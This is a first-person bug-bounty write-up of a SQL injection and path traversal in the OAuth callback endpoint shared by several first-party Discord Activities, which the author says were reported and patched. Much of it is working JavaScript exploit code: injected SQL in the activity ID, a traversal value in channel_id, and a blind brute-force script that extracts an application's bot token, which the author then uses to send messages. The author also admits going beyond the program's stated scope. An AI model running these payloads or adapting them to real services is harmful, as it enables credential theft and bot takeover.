Throughout April 6, 2024 to April 8, 2024, I discovered a SQL injection vulnerability shared across multiple first-party Discord activities.
Discord released a feature called "Activites" where you can play games built into Discord.
Behind the scenes, they embed a website (aka the "activity") within Discord to display the game.
One of the activities they released is called "Putt Party".
I noticed that this activity was the easiest to debug because many of the other activities had their game compiled in WASM but Putt Party had most of it's source code in JavaScript.
I reverse engineered "Putt Party" and I particularly looked into the endpoint GET /papi/api/oauth-callback/:activityId.
Why? This endpoint handled authenticating users to activity and I noticed that you can set the activity ID into whatever you want.
I created a script using JavaScript to authenticate to the activity's OAuth2:
const discordActivityId = "945737671223947305"; // Putt Party
const discordToken = "YOUR_DISCORD_USER_TOKEN_HERE"; // Enter your Discord user token here
const discordActivityCallbackId = "945737671223947305; show tables; --";
const channelId = "CHANNEL_ID_HERE"; // Enter the voice channel ID here
// Get the "code" for OAuth2
const res = await fetch("https://discord.com/api/v9/oauth2/authorize?client_id=945737671223947305&response_type=code&scope=rpc.voice.read%20rpc.activities.write%20guilds.members.read%20identify&state=", {
"headers": {
"authorization": discordToken,
"content-type": "application/json",
},
"body": "{\"permissions\":\"0\",\"authorize\":true,\"integration_type\":0}",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
const response = await res.json(); // If this fails, it's most likely because the Discord token is invalid. (didn't check/test this, but it might error if it asks for CAPTCHA as well.)
const code = response.location.slice("http://127.0.0.1?code=".length);
console.log("response", response);
console.log("code", code);
// Runs the vulnerable /papi endpoint here
// This is where the SQL injection exploit takes place
const res2 = await fetch(`https://${discordActivityId}.discordsays.com/papi/api/oauth-callback/${encodeURIComponent(discordActivityCallbackId)}?code=${code}&channel_id=${encodeURIComponent(channelId)}`, {
"method": "GET",
"mode": "cors",
"credentials": "omit"
});
console.log(await res2.json()); // Respond the outputAnd I noticed a SQL error on the output of the response:
I was able to input my own arbitrary SQL queries but I wasn't really able to do anything malicious with this yet.
They disallowed running multiple queries in one SQL command so I wasn't able to just easily add something like ; select * from discord_applications at the end.
Soon after, I realized I could simplify my script by skipping the authentication step by not entering a valid OAuth2 code:
const discordActivityId = "945737671223947305"; // Putt Party
const discordToken = "YOUR_DISCORD_USER_TOKEN_HERE"; // Enter your Discord user token here
const discordActivityCallbackId = "945737671223947305; show tables; --";
const channelId = "CHANNEL_ID_HERE"; // Enter the voice channel ID here
const code = "DISCORD_OAUTH2_CODE";
// Runs the vulnerable /papi endpoint here
// This is where the SQL injection exploit takes place
const res = await fetch(`https://${discordActivityId}.discordsays.com/papi/api/oauth-callback/${encodeURIComponent(discordActivityCallbackId)}?code=${encodeURIComponent(code)}&channel_id=${encodeURIComponent(channelId)}`, {
"method": "GET",
"mode": "cors",
"credentials": "omit"
});
console.log(await res.json()); // Respond the outputSo these are few queries I tried to run:
Thanks to thewilloftheshadow to figuring out that this endpoint was shared between multiple Discord activities and not only Putt Party.
These are the following list of Discord activites that are impacted:
- Putt Party
- Bobble Bash
- Chess In The Park
- Blazing 8s
- Checkers In The Park
- Poker Night
0/0 showed me https://discord.com/security which is where I was able to report the vulnerability.
After finding this, I immediately reported these findings through Discord's HackerOne program but I didn't get a response until few days later. So, I started looking into finding ways to be able to exploit this vulnerability.
On the same endpoint, GET /papi/api/oauth-callback/:activityId, there were 3 query params:
code: The Discord OAuth2 code.channel_id: The channel ID.guild_id: The guild ID.
I quickly realized guild_id was never actually used but sent to the API through the activities anyways.
I decided to look into channel_id and realized it wasn't properly sanitized. You were able to add "../" to the value to do path traversal.
I set the channel_id to to "../../../../../api/v10/activities/:activityId/instances/:channelId" where activityId is the activity's application ID and the channelId is the channel ID of where you opened the activity.
You were able to do something like this to still get a valid response:
const code = "enter your oauth2 code here";
const channelId = "../../../../../api/v10/activities/945737671223947305/instances/1155982562842398772";
const res = await fetch(`https://945737671223947305.discordsays.com/papi/api/oauth-callback/945737671223947305?code=${code}&channel_id=${encodeURIComponent(channelId)}`, {
"method": "GET",
"mode": "cors",
"credentials": "omit"
});
console.log(await res.json()); // Respond the outputThanks to Dan for somehow guessing the endpoint first try. He found the endpoint they used to validate activity instances.
There wasn't a public endpoint to validate whether or not a user was in an activity or not when we found this vulnerability, so we created a script with this endpoint:
// Types
export type ActivityInstances = ActivityInstance[];
export interface ActivityInstance {
application_id: string;
channel_id: string;
users: string[];
instance_id: string;
guild_id: string;
}
// Functions
export const isSnowflake = (id: string) => /^\d{17,21}$/g.test(id);
export async function getActivityInstances({
token,
activityId,
channelId,
}: {
token: string;
activityId: string;
channelId: string;
}): Promise<ActivityInstances> {
if (!isSnowflake(activityId)) throw new Error("activityId must be a snowflake");
if (!isSnowflake(channelId)) throw new Error("channelId must be a snowflake");
const res = await fetch(
`https://discord.com/api/activities/${activityId}/instances/${channelId}`,
{
method: "get",
headers: {
authorization: `Bot ${token}`,
},
},
);
const data = await res.json();
return data?.instances || [];
}Unfortunately, this endpoint wasn't considered "stable" and was "subject to breaking". On the bright side, there's a public endpoint to validate users now.
Something else I found out was that the app_id on the JWT payload was the applicationId I set on the endpoint.
Here is the script so far with path transversal and the JWT payload's app_id being the value of (unsanitized) applicationId on the endpoint.
// Constants
const discordActivityId = "945737671223947305"; // Putt Party
const discordToken = "YOUR_DISCORD_USER_TOKEN_HERE"; // Enter your Discord user token here
// Get the "code" for OAuth2
const res = await fetch("https://discord.com/api/v9/oauth2/authorize?client_id=945737671223947305&response_type=code&scope=rpc.voice.read%20rpc.activities.write%20guilds.members.read%20identify&state=", {
"headers": {
"authorization": discordToken,
"content-type": "application/json",
},
"body": "{\"permissions\":\"0\",\"authorize\":true,\"integration_type\":0}",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
const response = await res.json(); // If this fails, it's most likely because the Discord token is invalid. (didn't check/test this, but it might error if it asks for CAPTCHA as well.)
console.log("response", response);
const code = response.location.slice("http://127.0.0.1?code=".length);
console.log("code", code);
// More constants
const discordActivityCallbackId = `false OR app_id='945737671223947305' ORDER BY "discord_applications"."app_id" LIMIT 1; --`;
const channelId = "./test/../1219708341253832728?test=hi"; // Enter the voice channel ID here
// Runs the vulnerable /papi endpoint here
// This is where the SQL injection exploit takes place
const res2 = await fetch(`https://${discordActivityId}.discordsays.com/papi/api/oauth-callback/${encodeURIComponent(discordActivityCallbackId)}?code=${code}&channel_id=${encodeURIComponent(channelId)}`, {
"method": "GET",
"mode": "cors",
"credentials": "omit"
});
console.log(await res2.json()); // Respond the outputAlthough I found all of these vulnerabilities above, I still didn't find a harmful way to exploit this issue.
This was the third day after I found the initial SQL injection vulnerability and I decided to look back at it again.
After playing around for a bit, I figured out I could set applicationId to this: false OR app_id='<app id>' and bot_token LIKE '<token>%' ORDER BY "discord_applications"."app_id" LIMIT 1; --
All this does is check if a token starts with a value based on the app_id, and if it did, it responded Invalid code (if I don't enter a code query param). So that means if it didn't respond that, the token did not start with that value.
Using this, I was able to find the bot tokens by brute forcing the endpoint.
I was hesitant at first because "Brute force attacks" is out of scope in Discord's HackerOne program, but for some reason, I decided to do it anyways.
This is the final script I wrote to get the bot token:
const discordActivityId = "945737671223947305"; // Putt Party
const tokenGuessValues = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '-', '_', '.'];
const tokenGuessStarter = "OTQ1NzM3NjcxMjIzOTQ3MzA1.YhUg1w."; // Buffer.from("945737671223947305").toString("base64")
tokenGuess = tokenGuessStarter;
currentTokenGuessValues = [ ...tokenGuessValues ];
const code = "mock_code";
const channelId = "1219708341253832728";
guessToken();
async function guessToken() {
if (!currentTokenGuessValues.length) return console.log("==> Found token!", tokenGuess);
const char = currentTokenGuessValues.shift();
const newTokenGuess = tokenGuess + char;
const discordActivityCallbackId = `false OR app_id='${945737671223947305}' and bot_token LIKE '${newTokenGuess}%' ORDER BY "discord_applications"."app_id" LIMIT 1; --`;
const res = await fetch(`https://${discordActivityId}.discordsays.com/papi/api/oauth-callback/${encodeURIComponent(discordActivityCallbackId)}?code=${encodeURIComponent(code)}&channel_id=${encodeURIComponent(channelId)}`, {
"method": "GET",
"mode": "cors",
"credentials": "omit"
});
const { error } = await res.json();
if (error !== "Invalid code") {
// wrong
console.log("Incorrect token guess", newTokenGuess, error);
} else {
// correct
console.log("CORRECT TOKEN GUESS", newTokenGuess, error);
tokenGuess = newTokenGuess;
currentTokenGuessValues = [ ...tokenGuessValues ];
}
setTimeout(() => guessToken(), 0);
}And it worked! I was able to get the bot token and send messages in a private channel:
You can check out two bot messages I sent with Putt Party here: https://discord.gg/hHVzSj7thm
Using this bot token, I could've done many negative things other than sending messages.
I basically had access to everything an application's bot token can do.
Before they responded back to me, I noticed that the Putt Party bot's application was turned into a private application and kicked out of every server it was in.
Since some people manually invited the bot into their own servers (even though they don't need to), I'm guessing Discord decided it was a good idea to disallow people from doing that.
And also, I noticed that they patched everything I stated here as well.
Then they responded to me:
I was paid a bounty and earned the golden bug hunter badge on my account.
And that's how I found an exploit to find first-party Discord activity tokens.









🔥